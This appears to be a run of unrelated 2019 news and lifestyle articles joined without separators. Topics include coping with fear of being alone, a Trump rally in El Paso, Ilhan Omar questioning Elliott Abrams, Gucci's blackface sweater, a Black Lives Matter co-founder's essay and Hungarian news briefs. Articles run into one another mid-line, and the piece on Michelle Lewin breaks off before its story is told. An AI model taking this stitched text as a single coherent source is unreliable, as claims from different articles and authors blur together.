And while you can't snap your fingers and make your fear disappear (I wish), you can learn everything about it, so that the next time it happens, you're ready to take it on.

Is your fear normal?

Short answer: yes.



A certain level of fear is good for you because its "an evolutionary response that helps you survive," says Carmichael. "From an evolutionary psychology standpoint, human beings are tribal animals."

In fact, "people who felt nervous or afraid when they were alone quickly rejoined their tribe or clan, so they wouldn't get hurt with no one to help," adds Squyres. These people were more likely to live to adulthood and have children. So your fear isnt designed to scare or sadden you but to give you the best chance of survival.

But how do you know if it's a phobia?

You know you have a serious fear of being alone when you always feel like you need another person or other people around in order to feel safe-even in a place that's supposed to be comforting, like your home. As soon as you're by yourself, you "may feel intensely lonely, bored, or anxious," says Squyres.

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If this happens a few times, that's totally normal. But if you start to notice a pattern of fear, panic, or intense sadness every time youre alone, then, she says, your discomfort is severe. And it might even cause you physical discomfort, like stomach aches, headaches, sore back or muscles, or even sleepiness, she adds.

So, yeah, it's way more than just being bummed you're single. Believe it or not, you can have this fear even when you're in a relationship (more on that later).

You may also have trouble concentrating or getting tasks done, which can affect your professional life. "Fear of being alone can hold you back from success in many professions because working alone might be required for good job performance or advancement," says Squyres.

Your fear could also hold you back from doing things you want to, just because you're flying solo. Granted, some things are no fun if youre by yourself, like karaoke or eating out alone on Valentines Day (sorry, it's true).

But "there's a difference between avoiding things that no one likes to do alone versus avoiding things that are perfectly normal to do alone-grocery shopping, getting a haircut," says Squyres.

Where does your fear come from?

According to Squyres, there are three main causes of your fear:

It can be a sign of a phobia about being alone.

It can be a result of a trauma in which you were harmed because you were alone and vulnerable, or you had no one to help you deal with a horrifying event.

It can be part of a larger panic disorder or borderline personality disorder where an inability to self-soothe and fear of abandonment are additional factors at play.

How does your fear impact your relationships?

With romantic relationships, you might "find yourself compromising and going out with someone who's treated you really poorly-just because you'd rather do that than be alone," says Carmichael. That could lead you into rushing into a relationship with someone you don't even like that much (which probs explains why it doesn't last).

Most importantly, it messes up your relationship with yourself. You might start catastrophic thinking, which is when negative thoughts about yourself snowball in your head. "If you're alone right now, don't spin that into a fear [that youre] always going to be alone," advises Carmichael. "Remember that-by definition-every other single person in the world has also not yet met their life partner."

How can you overcome this fear?

Well, ya gotta face it (and learning about it is a great start). Ignoring your fear is pretty dangerous because that's when you're "actually the most vulnerable to self-sabotaging, unhealthy behavior," like getting really clingy with someone you just started dating, explains Carmichael. Instead, she encourages you to confront your fear by answering some hard questions: Is my fear signaling that I'm really afraid I'm not good enough to attract someone? Am I afraid of choosing the wrong person? Am I afraid of getting hurt along the way?

Distraction can be another good coping strategy, according to Squyres. But that doesn't mean creating busy work for yourself-it means putting time and effort into the activities you find personally fulfilling, especially ones done solo.



You can also try meditation and/or yoga to learn specific ways to stay calm before fear takes over. Meditation and yoga can help slow down your knee-jerk reactions to fear by teaching you to focus on your breath or to count to 10 over and over again. Once you're calmer, you're better able to respond to your fear logically.

Okay, so this one's gonna suck, but you have to try it: practice being alone for a certain amount of time each day. Squyres recommends starting with a small goal, like 15 minutes. Do that every day for a week, and then increase the goal to 30 minutes. Keep gradually increasing the amount of time each week. Proving to yourself that you can be alone should help you overcome your fear.



If your fear is more severe (aka it does impact your personal and professional life), psychotherapy can help you learn to overcome it, says Squyres. "A good therapist can teach relaxation and breathing techniques to master fear, anxiety, panic, and emotional arousal," she explains. Cognitive behavior therapy, in particular, can help you examine and counter the negative messages you tell yourself about loneliness so you stop thinking of it as something scary or dangerous. You may even consider seeing a psychiatrist who can tell you whether or not antidepressant or anti-anxiety medication might help manage your fear.



"Learning to feel comfortable by yourself is an important part of emotional well-being," notes Squyres. "Ultimately, we all need to learn that our true sense of safety comes from within ourselves."

('You Might Also Like',)The Duchess of Sussex has done it again  only this time with a touch of retro flair. On Tuesday, February 12, 2019, Meghan Markle and Prince Harry had a date night to attend the gala performance of The Wider Earth at the Natural History Museum in London.

Markle donned a white Calvin Klein dress with a matching Amanda Wakeley coat, a Ralph Lauren suede, olive green clutch, and coordinating heels. To finish the winter-white outfit, she chose a throwback hairstyle. (Photo via Max Mumby/Indigo / Getty)

In place of her signature messy bun, the mom-to-be wore her hair in a 60s-inspired chignon featuring a deep side part. With added height at the crown and a soft swooping part in front, Markle showed us once again that shes never afraid to experiment with her tresses. (Photo via Max Mumby/Indigo/ Getty)

The duchess has been experimenting with her hairstyles as of late. Just last week she rocked a high-shine, middle-parted low bun for The Endeavour Fund Awards in London. Back in January 2019, she stepped out in a classic top knot for a visit to the Association of Commonwealth Universities in London. And let us not forget the time she turned heads with her flirty floral French twist on a stop in Fiji during the royal tour in October 2018. (Photo via Karwai Tang / Getty)

This is the second philanthropic performance the royal couple has attended in 2019, the first being Cirque du Soleils Totem in January, benefiting Prince Harrys charity Sentebale  an organization that focuses on the health and wellbeing of HIV positive children and adolescents in Lesotho and Botswana. According to a tweet sent out by the Kensington Palace Twitter account, The Wider Earth charity performance supports the Queens Commonwealth Trust and the productions official charitable partner, the Queens Commonwealth Canopy, which focuses on forest conservation. (Photo via Mark Cuthbert/ Getty)

Do you like Meghan Markles latest hairstyle choice? Tell us @BritandCo!Photo credit: Erin Coulehan

From ELLE

On Monday night, President Donald Trump held his first re-election campaign rally in El Paso, Texas, while former Texas Congressman Beto ORourke spoke at a counter rally down the street. The stage for political theatrics had been set since last week, when President Trump made false statements about El Pasos safety during the State of the Union that incited a quick response from the El Paso community and members of Congress.

His lies wont go unchallenged, Congresswoman Veronica Escobar said in a press conference on Monday in El Paso.

The city, my longtime home, was eager to challenge the false statements and prove its not the bullet-ridden place the president and cartel-themed movies and television might have us believe.



Everyone has the impression that the border is a war zone, and thats been the impression for years and years, El Paso County Commissioner Vincent Perez told ELLE.com. At least now everybody is saying the same thing that El Paso is a safe place and I hope that message resonates. Its been a safe place for a long time and I certainly hope that message gets out there.

El Paso has traditionally existed in its own bubble, the overlooked little sister to more glamorous Texan cities like Dallas or Austin. But because of heightened focus on border security, El Paso has become an emblem of some of the most controversial issues at stake in the 2020 presidential election.

At the rally, hosted feet away from the border, hundreds of attendees lined up around the El Paso County Coliseum to await President Trump. Vendors from Arkansas and South Carolina said they were grateful for the opportunity to sell MAGA merchandise, which they considered to be a job created by President Trump. A group of students from the University of Texas at El Paso said they were thrilled to see the president so close.

I really like his policies economically, and hes really made us grow. Im really happy to have him as a president, said Catherine Katschke, a University of Texas at El Paso student.

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Photo credit: Erin Coulehan

It's hard to find people in El Paso who are wholly anti-immigration, and that includes the students. Luis Hinojos, a student at the UTEP and president of the El Paso Young Republicans, immigrated legally with his family from Juarez when he was a child. Hinojos, like other Republican immigrants I spoke with, believe that other immigrants ought and should follow their example of legally entering the United States.



The root cause of mass migration into the U.S. is lack of opportunities and violence in the Northern Triangle that makes up El Salvador, Guatemala, and Honduras, said Congressman Will Hurd of Texas. Hurd represents 820 of the 2,000 miles of border along the U.S. and Mexico, and said technology and manpower are most needed when it comes to border security. If we were working with governments in those countries, then we [could] address the problem before it gets to our border at a fraction of the cost."

The city of El Paso has found itself in the uncomfortable position of economically benefiting from a number of President Trumps policies on immigration. El Paso has a contract with the U.S. Marshals that incurred $22 million in revenue for the city to house their federal inmates, the majority of whom face criminal immigration-related charges like not having papers. El Paso makes more money off the incarceration of migrants than it does from tolls obtained during legal entry.

Photo credit: Erin Coulehan

Back at the rally, Texas Senators John Cornyn and Ted Cruz took the stage in support of their party, the president, and their state while emphasizing the need for a border wall. When Donald Trump, Jr. took the stage, the climate of the venue changed almost instantly. He launched into a strange speech about liking Texas and playing with machine guns, before taking shots at O'Rourke's competing rally. Don Jr. called the left a caricature of itself then thanked ORourke and the Democratic party for making it known how many deplorables there are out there. Then he began to insult the media.

The crowd went wild.

A few minutes later, President Trump took the stage and the crowd continued to swell with excitement.

Not long after, a man in a tan shirt standing near the press pen began to taunt me by swatting at my phone and camera, obstructing journalists' photos and insulting me while I took notes. I tried to maneuver around him, and he told me I was part of the evil media and build that wall!"

About midway through President Trumps speech, a group of activists released a banner and started chanting in support of the El Paso 9, a group of immigration detainees who have been subjected to forced feedings while on hunger strike. The group was rushed by Secret Service out of the venue.

[The rally attendees] were very, very, aggressive, said Destiny Garcia who was one of the protestors removed. We knew that was a risk, and I wasnt scared.

After I left the rally, [later,] President Trump made incendiary statements about the media to his crowd, and then the tan-shirted man who had swatted at my phone launched himself into the press pen and knocked over cameras, equipment, and disrupted the work of the media. The president gave an enthusiastic thumbs up in approval.

Many expected ORourke to announce a presidential run of his own last night that would have made El Paso the cornerstone of his 2020 election campaign. Instead, he opted to stand firmly alongside the city rather than perpetuate political theatrics. The message was one of neither party nor politics, but rather a request for truth and community strength. That's the El Paso I know.

('You Might Also Like',)Elliott Abrams has supported death squads and genocide in Latin America but can't handle being asked about it.

The Trump administration has been hungrily eyeing Venezuela, reviving the U.S.'s old habit of overthrowing Latin American governments in countries with valuable natural resources. To help with this, Trump has named Elliott Abrams, a man with extensive experience in subverting democracy and enabling mass murder in Latin America, as Special Envoy to Venezuela.

A year ago, his appearance in front of the House Foreign Affairs committee might have been an easy affair, but on Wednesday, Minnesota representative Ilhan Omar wanted to know if Congress could expect even more atrocities from him this time around:

Omar: Mr. Abrams, you pleaded guilty to two counts of withholding information from Congress regarding your involvement in the Iran-Contra affair, for which you were later pardoned by President George H.W. Bush. I fail to understand why members of this committee or the American people should find any testimony that you give today to be truthful.

Abrams: If I could respond to that

Omar: It wasn't a question.

That sets the tone for the rest of the exchange. Omar goes on to detail some of the horrifying entries on Abrams' resume, including the time he dismissed the worst massacre in modern Latin American historywhen the U.S.-trained Salvadoran military killed 800 civiliansas communist propaganda and later referring to American support there as a great achievement.

Despite Abrams' protests, nothing Omar said to him constitutes a personal attack. What she presented was a catalog of things that Abrams has said and done in official government roles in the past, and that includes withholding information from Congress and enabling U.S.-backed genocide in Central America. Considering that he's testifying before Congress for a position where he can sanction even more violence in Venezuela, those seem like pertinent details.

This content is not available due to your privacy preferences. Update your settings here to see it.

Omar could have gone on much longer enumerating the war crimes that Abrams helped (or tried to help) commit during his time as Assistant Secretary of State. In the 80's, for example, he tried to get Congress to lift sanctions against giving military aid to Guatemala, even while the government was actively trying to ethnically cleanse the country's indigenous Mayan population, and regularly lied about and tried to discredit journalists and human rights advocates who reported on them. The violence and destabilization that Abrams and the U.S. supported is perhaps the single biggest factor still driving immigration from Central America to the U.S.

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"Would you support an armed faction within Venezuela," Omar asked, "that engages in war crimes, crimes against humanity, or genocide if you believed they were serving U.S. interests as you did in Guatemala, El Salvador, and Nicaragua?

By this point, Abrams fully refused to answer questions on the grounds that they were personal attacks. But to be fair, Omar's questions are part theatrics, an attempt to remind people, Abrams included, of the atrocities he's committed.MILAN  Gucci president and chief executive officer Marco Bizzarri isnt one to shy away from problem-solving. Nor from admitting a mistake.

Last week the Italian luxury brand faced accusations that a balaclava-style sweater available on its online shop and physical stores evoked blackface and Gucci issued a statement on Thursday through its Twitter account reading, We consider diversity to be a fundamental value to be fully upheld, respected and at the forefront of every decision we make. The brand pulled the sweater from physical and online stores.

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But the controversy has continued to rumble on. This week, Guccis collaborator Dapper Dan did not mince words in a Twitter and Instagram post saying: I am a black man before I am a brand. Another fashion house has gotten it outrageously wrong. There is no excuse nor apology that can erase this kind of insult. The ceo of Gucci has agreed to come from Italy to Harlem this week to meet with me, along with members of the community and other industry leaders. There cannot be inclusivity without accountability. I will hold everyone accountable.

On Tuesday, creative director Alessandro Michele also broke his silence in a letter addressed to Guccis colleagues, expressing the pain of these days: my own and that of the people who saw in one of my creative projects an intolerable insult. Its important for me to let you know that the jumper actually had very specific references, completely different from what was ascribed instead. It was a tribute to Leigh Bowery, to his camouflage art, to his ability to challenge the bourgeois conventions and conformism, to his eccentricity as a performer, to his extraordinary vocation to masquerade meant as a hymn to freedom.

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The fact that, contrarily to my intentions, that turtleneck jumper evoked a racist imagery causes me the greatest grief, Michele added. But I am aware that sometimes our actions can end up with causing unintentional effects. It is therefore necessary taking full accountability for these effects.

Michele said that through his work he wanted to give citizenships right to the traditionally marginalized, to those who felt unrepresented, to those that history silenced or made believe they were worthless. My aim, in which personal and political are intimately interwoven, has always been to turn the pain into a chant.

In the letter, which he sent to all of Guccis 18,000 employees from his personal e-mail address, Michele concluded: I really shelter the suffer of all I have offended. And I am heartfully sorry for this hurt. I hope I can rely on the understanding of those who know me and can acknowledge the constant tension toward the celebration of diversity that has always shaped my work. This is the only celebration Im willing to stand for.

Here, Bizzarri talks exclusively with WWD about the controversy, his personal involvement palpable, as he urges an open dialogue to generate cultural change and accelerate an improvement. He offered no excuses and it was clear how serious all this is for him and for Gucci. Aware there is more work to do, learning and spreading the knowledge are key for the executive so that this will not happen again.

WWD: You and Alessandro have worked on projects of inclusivity and diversity so this seems totally out of sync with your beliefs. The question many may be asking is, How could this have happened? How would you respond to this? What is the process in giving the green light to a look? Did something go amiss in that pipeline?

Marco Bizzarri: This is due to the ignorance of this matter. Certainly, it was not intentional but this is not an excuse. We make mistakes, and certain are worse than others because they offend people. The lack of knowledge of diversity and the consequent understanding are not at the level we expected, despite all the efforts we did inside the company in the last four years.

We are evaluating all the processes now to make sure the right level of awareness and visibility inform the process. In this case, it was a lack of knowledge.

WWD: What are the steps you want to take to better understand what happened and how would you amend the situation?

M.B.: The first thing is to better understand, internally, the specific issue. I had the chance to be in the U.S. in these days for a trip that was planned in advance for a conference this week [at The New Schools Parsons School of Design], so I could talk directly to people in the shops, people from all the communities, and to grasp the depths of the problem that in my eyes, coming both from a different culture and a different country, was not particularly clear, even when it was raised.

In talking to my team in America, visiting different cities over the last week and reading about the issue, I realized how deep it is for the community in general, but also for our employees. Because our company, being a global company, is a mirror of society. The need for greater awareness and understanding is everywhere. The risk we could face is that anyone would not take this matter as serious as it is. We need to educate ourselves to make sure this does not happen again.

First, we want to fix the topic in our community  it is the thing we can control the best. Gucci is a family and our behaviors need to reflect that. We are promptly sharing these views and understanding with all our teams, to make sure anyone of our community in the shops and at corporate understand the importance of this topic. And that they have the ability to recognize, and the voice to share concern if something similar happens again. We want to foster the respect and trust to allow our people to participate and to be part of the conversation  and the solution.

For the external approach, we will move quick. Ideally by the end of this week, we will announce a full program of scholarships in major cities, such as New York, Nairobi, Tokyo, Beijing, Seoul, which will facilitate an increase of different communities within the creative office. I will also be discussing these important initiatives with leaders from different communities in order to develop a constructive and appropriate framework. I dont want to be divided, I want to invite everyone to join us.

WWD: Dapper Dan spoke of a possible meeting with you in New York. Is this happening? When? What do you have in mind?

M.B.: Yes, he is one of those leaders. But there are many other people who know who we are and what we stand for who have offered to join us to create more positive change. With Dapper Dan, we had a transparent conversation. Lets see how things evolve. We are very keen in listening to how we can improve and to have an honest conversation with those who recognize the willingness to improve and make things better. And to discuss and go through issues together is the answer. I dont want to live my life in a divided world, but in one where there is understanding and respect of differences.

WWD: Miuccia Prada spoke last month of the difficulties in knowing and understanding so many different cultures around the world. How do you think this could be overcome? Observers point out that fashion houses should be more diverse in terms of team members. Do you agree? Are you seeking to add greater diversity to your team to avoid these types of situations?

M.B.: The need for understanding is everywhere  we need to work to improve this. From the very start in 2015, all that we have stood for and all that we have achieved on a daily basis has been driven by these values and has been defining this chapter for our brand. Above all, respect for others, celebrating diversity through inclusivity and with creativity at the heart of everything we do. We have created a shared corporate culture that makes us unique.

Considering we are a company based in Italy, we have to work even harder to make sure there are clear pathways for a global representation in our worldwide teams  and also in the regions. Alessandro has always shown that our differences are what inspires our creativity, and what characterizes us. Changing behavior, changing culture takes time. Even if we thought we were in a good position, we realize we have more work to do and we have to move faster.

WWD: Given how sensitive people are and the need for everyone to be so politically correct, are these types of situations almost unavoidable?

M.B.: We live in a world where social media creates an immediate and transparent dialogue with everyone. We embrace this because it allows us to express more naturally who we are. But there are issues that come with being so present and real in the world, and in order to mitigate these risks, the only way is to create more knowledge and understanding. And to engage with all the communities in a sincere and transparent way.Just over five years ago I entered into one of the most challenging periods of my life. At 28, I had become the executive director of Black Alliance for Just Immigration (BAJI)  a nonprofit that serves black immigrants and refugees, among the most disadvantaged populations in the nation  which was in the red. Around the same time, out of utter horror and frustration, I also started what would become one of the biggest human-rights platforms of the 21st century, Black Lives Matter, from my living room.

Black Lives Matter came about after I heard the news of the acquittal of George Zimmerman, who shot and killed 17-year-old Trayvon Martin, an innocent boy walking in his own neighborhood in Florida armed with nothing but Skittles and Arizona Iced Tea. At the time, my youngest brother was a mere 14, and I was disgusted that he would learn how devalued black lives were in this society. First I cried, then I rolled up my sleeves, reached out to Alicia Garza and Patrisse Khan-Cullors (who became co-founders), and got to work.

I started by designing a website with a yellow-and-black color scheme (yellow, my favorite, representative of sunshine and joy, and black because, well, you know). Then we invited various social-justice organizations to contribute to the blog roll, asking them to share their experiences about why black lives mattered to them and what they were going to do to protect them. Establishing the platform and hashtag gave the movement deeper meaning and encouraged people to do something locally, driving them into off-line action. Sadly, as more incidents of racial injustice took place, Black Lives Matter became our rallying cry, our platform. Did I know it was going to be this big? No, but I wanted it to be. Id always wanted to be a part of something bigger than myself, something that would transform our world into the type of world we deserve.

RELATED: "I Do Believe We Shall Overcome": Why Legendary Civil-Rights Activist John Lewis Is Optimistic

Story continues

From launching websites to calling on organizers and mobilizing in solidarity with communities in Ferguson, Mo., after Michael Brown had been killed, something was always going on. While this movement was finding its legs, I was pulling all-nighters trying to raise funds for the organization as well as lead delegations to Washington, D.C., and to the U.S.-Mexico border, travel internationally to strategize with partners around the globe, coordinate rallies and press conferences, commission reports in partnership with the likes of New York University, deal with managerial issues, and so much more.

It quickly became too much, not just for me but for others on my team. By Year 3 at BAJI, one of my colleagues checked out due to family issues, another because of her health. I felt the need to reflect on my own workload and methods for handling all the responsibilities of being a director. Working for my community at the intersection of Black Women Lead and Black Girl Magic, I felt I had to do it all. And being the daughter of immigrants and feeling the internal pressure that you must succeed at all costs, I couldnt let my parents sacrifices be in vain. However, I knew I had to scale back to adjust to the reality of my limits. The pace was beginning to take a personal toll.

For starters, I wasnt taking very good care of my health. I had had a standard operation on my foot, but it didnt heal correctly because I pushed it too soon. I didnt sleep as much as I should have. I also got super depressed while dating a guy who was perfect on paper but turned out to be a toxic, emotionally abusive partner. I didnt recognize it until we were a year in because I was in overdrive mode. Had I been in a better rhythm, I would have thought, Oh, no, why are you tolerating this nonsense? You need to be in a healthier relationship.

I also began to notice that I was missing friends weddings and baby-naming ceremonies. I was so caught up in the fight that when they had something great to celebrate, I was on a flight to somewhere else. I didnt want to be that person. A notable turning point was when one of my best friends was about to give birth and asked me to come see her and I did. It was freeing to realize that I didnt need to immediately respond to whatever was going on in the world at the time and that I actually had some agency. I figured out a way to be with her for 10 days. The baby, my godson, didnt come until later, but we had fun. You can lose sight of what is important when you engage solely in the work and not think about the why behind it.

RELATED: Where We Go From Here, According to Time's Up President Lisa Borders

After taking inventory of my life, I began to dive deep into the teachings of feminist and civil-rights activist Audre Lorde. One of her most profound quotes is, Caring for myself is not self-indulgence. It is self-preservation, and that is an act of political warfare. I took this to heart. I knew that to be able to weather the storm and take on a heavier workload, I had to be more gracious with myself.

Although it does seem that we wake up each morning to some sort of new scandal or crisis, how we respond is our choice. And there is true power in our response. Our response can be life-giving, or it can be life-draining. I often feel as if Ive been teetering between the two. But heres what I can offer by way of advice: Do the work from a place of joy. Find your commitment in your love of yourself as well as of those in your community. Keep your family (whether its chosen or otherwise) close. Those are ties youll need to call upon when the going gets tough. Nourish your spirit as much as possible, be it through prayer or meditation. Take time to work out or just daydream. Stay connected to the people and things that bring you joy.

My line of work is not just a job; its a commitment, a lifestyle, a discipline. Taking time for myself, as I did recently with a trip to Ghana with friends, means that I can refill my tank and continue on the mission. Now, five years later, Black Lives Matter has a dedicated staff that handles the day-to-day duties, and my fellow founders and I are spokeswomen. Im still the executive director of BAJI, but I soon plan to step back and write my first book. After almost a decade of being a leader, Im thinking about how I can pause to reflect on what Ive learned and share it in a new way. Knowing that Im allowing myself to be transformed by these lessons means I am truly honoring myself and my community. And for this I am grateful.

For more stories like this, pick up the March issue of InStyle, available on newsstands, on Amazon, and for digital download Feb. 15.UPDATED with Kleppers Instagram post: Jordan Klepper has a criminal record. The Daily Show alum and former host of The Opposition was arrested this morning in Atlanta while filming for his upcoming new Comedy Central series at a protest about undocumented students, Deadline has confirmed.

Klepper was shooting at a Board of Regents meeting in the Georgia Capitol Building when he and others we ordered to leave. When they didnt, members of the group were busted by the Georgia State Capitol Police for criminal trespass. The Atlanta Journal-Constitution reports that nine people were part of the group.

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Klepper has yet to comment about his arrest. Meanwhile, here is some video of the encounter via Twitter:

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The Opposition with Jordan Klepper aired for one season on Comedy Central before being canceled in June. At the time, Deadline reported exclusively that he is working on a new documentary series for the cable net, which confirmed that Klepper was shooting footage for that project  tentatively titled Klepper  when he was arrested.

The idea for The Opposition originated from the field pieces Klepper filmed for The Daily Show at Donald Trumps rallies during his campaign. Klepper started was a correspondent for that show for the last year-plus of Jon Stewarts run as host, and The Opposition eventually aired right afterward during Trevor Noahs reign.

Instagram PhotoVenezuelan model Michelle Lewin was enjoying a tropical bikini-clad photo session on the islands of the Bahamas when things went from fun in the sun to beach nightmare.

The 32-year-old fitness influencer was visiting Big Major Cay island in Exuma, which is an uninhabited area known for its feral pig and piglet population that swim in the waters around the island.

Many models and tourists have visited the location to swim with the pigs (you may remember the infamous scene of models swimming with the pigs in Fyre Festivals star-studded commercial). But when Lewin went to create the same type of exotic photo shoot, things did not turn out very glamorous.

The model shared videos on her Instagram story of herself lounging in the sand with pigs and piglets, stroking their heads and allowing the piglets to lick her hands. Then she jumped in the water to get a few shots swimming alongside the pigs.By Riham Alkousaa BERLIN (Reuters) - Tolerance and non-judgemental understanding may be the best way to try to save radicalized young Europeans who want to go and join militant Islamists in Middle Eastern conflicts, veteran French actress Catherine Deneuve said on Tuesday. "Farewell to the Night", which premiered on Tuesday at the Berlin Film Festival, tells the story of Muriel, played by Deneuve, and her attempt to stop her grandson from joining Islamic State in Syria. "The character in the film is certainly an intelligent woman, but she is also very tolerant, she is somebody who doesn't judge, who tries to understand," Deneuve told a news conference. Muriel's quiet life on a horse-breeding farm in rural France is interrupted by a visit from her grandson Alex whom she raised after his mother's death in an accident. He has stopped by the farm to say goodbye to her before supposedly leaving to take up a job in Canada. During his short stay, Muriel finds out that her grandson has been converted to Islam through his girlfriend Lila. Muriel, herself born in Algeria, accepts her grandson's new religion and tries to understand him. But she later learns that Alex plans to leave for Syria to join Islamic State and she becomes torn between trying to dissuade him from going and having the authorities intervene. CROSSING TO THE OTHER SIDE "The whole point of the film for me was about how this down- to-earth woman... how all of a sudden, she can find her way to help her grandson when she realizes that he's crossed over to the other side," director Andre Techine said. Techine said he wanted the audience to ask themselves what they would do if they found themselves in that situation. Muriel turns for help to an ex-jihadist who returned to France after trying to live in Syria for a while. The film portrays Alex as having little understanding of Islam or of the political situation in Syria. The internet is his primary source of information about his religion and, for him and Lila, life after death is the only one worth living. Much of the characters' dialogue in the film is drawn from interviews with de-radicalized jihadists, Techine said. "These are actually their own words ... I wanted those words to be heard by the audience," he said. Out of more than 5,000 Europeans - mostly from Britain, France, Germany and Belgium - known to have joined the ranks of Islamist fighters in Syria and Iraq, some 1,500 have returned, Europe's police agency said last year. (Reporting by Riham Alkousaa; Editing by Gareth Jones)Warning: Do not proceed if you have not watched Tuesday's episode of This Is Us.

Nicky Pearson's story presumably ended in heartbreaking fashion on the latest episode of This Is Us but left the door open for a possible revisit.

In Tuesday's hour, titled "Songbird Road: Part Two," the final installment of the two-part arc saw Jack's estranged brother, Nicky (Griffin Dunne), meeting his Pearson family members for the very first time. But it wasn't a happy family reunion. Not by a long shot. After finding him with pistol in hand and a glass of booze in the other, Kevin (Justin Hartley), Kate (Chrissy Metz) and Randall (Sterling K. Brown) persuaded him to stay at the hotel with them as they enacted a plan of action to get him help and out of the leaky trailer he's called home for decades following the Vietnam War. It was also the first time Nicky met and spent time with Jack's wife, Rebecca (Mandy Moore), and to say their meeting was tense is an understatement.

While Nicky ultimately didn't change or accept most of their help, only agreeing in the end to go to one Alcoholics Anonymous meeting and to let Kevin help patch up the hole in his trailer, it appeared there was much more to mine for Nicky and the Pearson family he never knew. Dunne, who was deeply entranced by the character's tragic backstory and who himself was almost drafted into the Vietnam War, recently jumped on the phone with ET to chat about Tuesday's episode, how Nicky and Jack's final conversation should have gone, if Nicky is to blame for Kevin's relapse and whether his story is over.

ET: It's been interesting charting how the Vietnam War really affected Nicky, just from one tragic accident with the boy on the boat, how that has shaped him to the present day. What was your understanding of how Nicky has dealt with the boy's death in the years that followed?

Griffin Dunne: The war and his experience with the war with the death of the little kid was wearing him down and taking his soul, as it does for so many veterans who have seen a lot of combat. That war in particular had a lot of accessibility to all kinds of drugs, and many soldiers anesthetize themselves from the day to day terror dealing with boredom one minute to battles and explosions the next that come out of nowhere. I think he would have been traumatized in any case. Then this terrible thing that he was responsible for, as a result of his drug-taking, was not only tragic for him being responsible for killing this boy, but it also ended his relationship with his brother, who cut him out and never looked back. He not only lost the young boy, but he lost whatever family connection he would ever have. He loves his brother and he realizes that he was looking out for him, and there was nothing more he could do about it. It's tragic on so many levels.

Story continues

If Nicky had the chance to say one last thing to his brother, what would he say?

A lot of time would have to go by before he would tell him [what actually happened on the boat] and feel he was being heard. Everything he said in the aftermath would've just been another excuse, deflection, lie, betrayal -- everything he's been doing up until that point. Jack wouldn't believe him or want to hear it. I think he was going to tell Jack when Jack showed up in 1992 after finally responding to all the postcards, but when Nicky looked at that photo of Rebecca and he saw that house in the background and he saw these children that he was the uncle of and the life he missed out on that he'll never get back, I think that's when he decided to cut himself off. It was too painful. It was another reawakening of that inciting incident and he couldn't look at Jack, which is why it ended so badly. It led to even more isolation and pain and alcohol.

But have you thought about that last conversation you'd like to have seen between Nicky and Jack?

I think Nicky would tell Jack what happened and not make it sound like, "It's not my fault," because that's what he would probably be afraid of having Jack say. He would try to own it. I don't think Jack would want to hear it right off. Nicky would have to be aggressive about telling him, something that is so painful for him to think about, but he would have forced himself. It wouldn't have been a quick conversation. It would have been a lot of struggle to get the information and a lot of struggle to be heard that might have led to a lot of conflict and maybe not resolution.

Nicky also got to meet Rebecca for the first time, as well as Jack's kids: Randall, Kate and Kevin. What did those scenes represent to you?

That's what was so great about this part. To play someone who hasn't heard his own voice speaking to someone else, let alone someone from his past and family members he's never met. To be descended on like this and disrupting his survival. He's living [in the trailer] to survive from day to day, who seem to want something from him. It was an emotional culture shock. It was a great part to play because so much of it involved wanting to shut them out and another moment wanting to know information from them and then wishing they would leave and then being afraid that they would leave. Not wanting to need something from them and being resentful that you felt that way.

At the end of the episode, it appeared that Kevin's unsuccessful attempt at trying to "fix" Nicky, as he says, leads him back to possibly heading down the spiral of his alcohol addiction. We see him taking a drink in Nicky's trailer. Is Nicky the catalyst for Kevin's relapse?

I think so. Kevin probably saw a bit of himself in Nicky and I think he put a lot of hope that in finding Nicky would fill a hole in himself and answer things about his own life and family, and have it be a healing moment. When he saw Nicky's condition and he saw that Nicky couldn't help him fill that hole inside himself, I think, like most alcoholics, it's the first thing they see; when they check in the hotel room, they check the minibar, so he saw that bottle from the first visit. I think it had a profound effect on Kevin, seeing Nicky, and it brought up the loss of his father, things that might have been and I think he was dying for a drink afterwards.

Is Nicky's story over? Could we see you return?

You'll just have to tune in to see.

This Is Us airs Tuesdays at 9 p.m. ET/PT on NBC.

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Justin Hartley Teases 'Huge Story' Behind Jack's Brother's Reappearance on 'This Is Us' (Exclusive)

Related Articles:After a hearing of the candidate in Parliament, Prime Minister Viktor Orban intends to recommend the reappointment of Gyorgy Matolcsy as Governor of the National Bank of Hungary to President of the Republic Janos Ader.

The Prime Minister wrote to Speaker of the House Laszlo Kover, informing him about his recommendation, and requesting that he arrange for a hearing of Gyorgy Matolcsy before Parliaments Economic Committee.

Mr. Matolcsys current six-year mandate as central bank governor will expire on 3 March 2019.

According to the Act on the National Bank of Hungary, it is the Prime Minister who recommends a prospective governor to the President of the Republic.



The mandate of the central bank governor is for a term of six years. A person can hold the office of Governor of the National Bank of Hungary for a maximum of two terms.

Fundamental Law states that the central bank governor is to be appointed by the President of the Republic.



MTI Photo: Kovacs TamasTurnover of travel agency Neckermann Magyarorszag rose to Ft 18.4 billion last year, from Ft 16.2 billion in 2017, CEO Veronika Bekefi told state news agency MTI.

Bekefi, who is also the vice-president of the travel agents association Muisz, said the most popular destinations were Turkey, Greece and Bulgaria, but demand for cruise holidays also increased significantly last summer.



Neckermann Magyarorszag has more than 20 offices across the country in addition to several hundred franchise and partner offices.The left-wing nationwide daily reports that Hungary has soothed Washingtons concerns over Russian and Chinese penetration with promises to boost economic and military cooperation with the United States.

In his Nepszava report on US Secretary of State Mike Pompeos talks in Budapest on Monday, Andras Kosa points out that that the American side refrained from openly criticizing Hungary, while the Hungarian side has announced its decision to buy US-Norwegian-made air defence equipment and its interest in American liquefied shell gas.



He sees Mr Pompeos visit as an expression of concerns over Chinas and Russias active presence in the region, and as an admission of Americas passivity in Central Europe over the past years.



On this issue, he reports, the disagreements remain, with Hungarian Foreign Minister Peter Szijjarto saying that West European countries entertain much more significant economic relations with Russia and China than Hungary.



Disagreements also remained over Ukraine, as Hungary praised the openness with which the two sides could discuss delicate issues like the situation of ethnic Hungarians in Ukraine.



(Hungary has been blocking rapprochement between Ukraine and NATO on account of the Ukrainian law that imposes limitations on the access of ethnic minorities to teaching in their mother tongues.)



Kosa writes that after Washington expressed concerns about Hungarys attitude through diplomatic channels over the last few months, the Hungarian side has made significant concessions.



Hungary will increase her contribution to military missions in Kosovo and in Afghanistan, for example, and the new bilateral agreement on defence cooperation will soon be submitted to the Hungarian Parliament.



The Secretary of State also met a number of NGOs who have expressed strong criticism of the government, but Mr Pompeo did not publicly raise concerns over those complaints.



This opinion does not necessarily represent the views of XpatLoop.com or the publisher. Your opinions are welcome too - for editorial review before possible publication online.

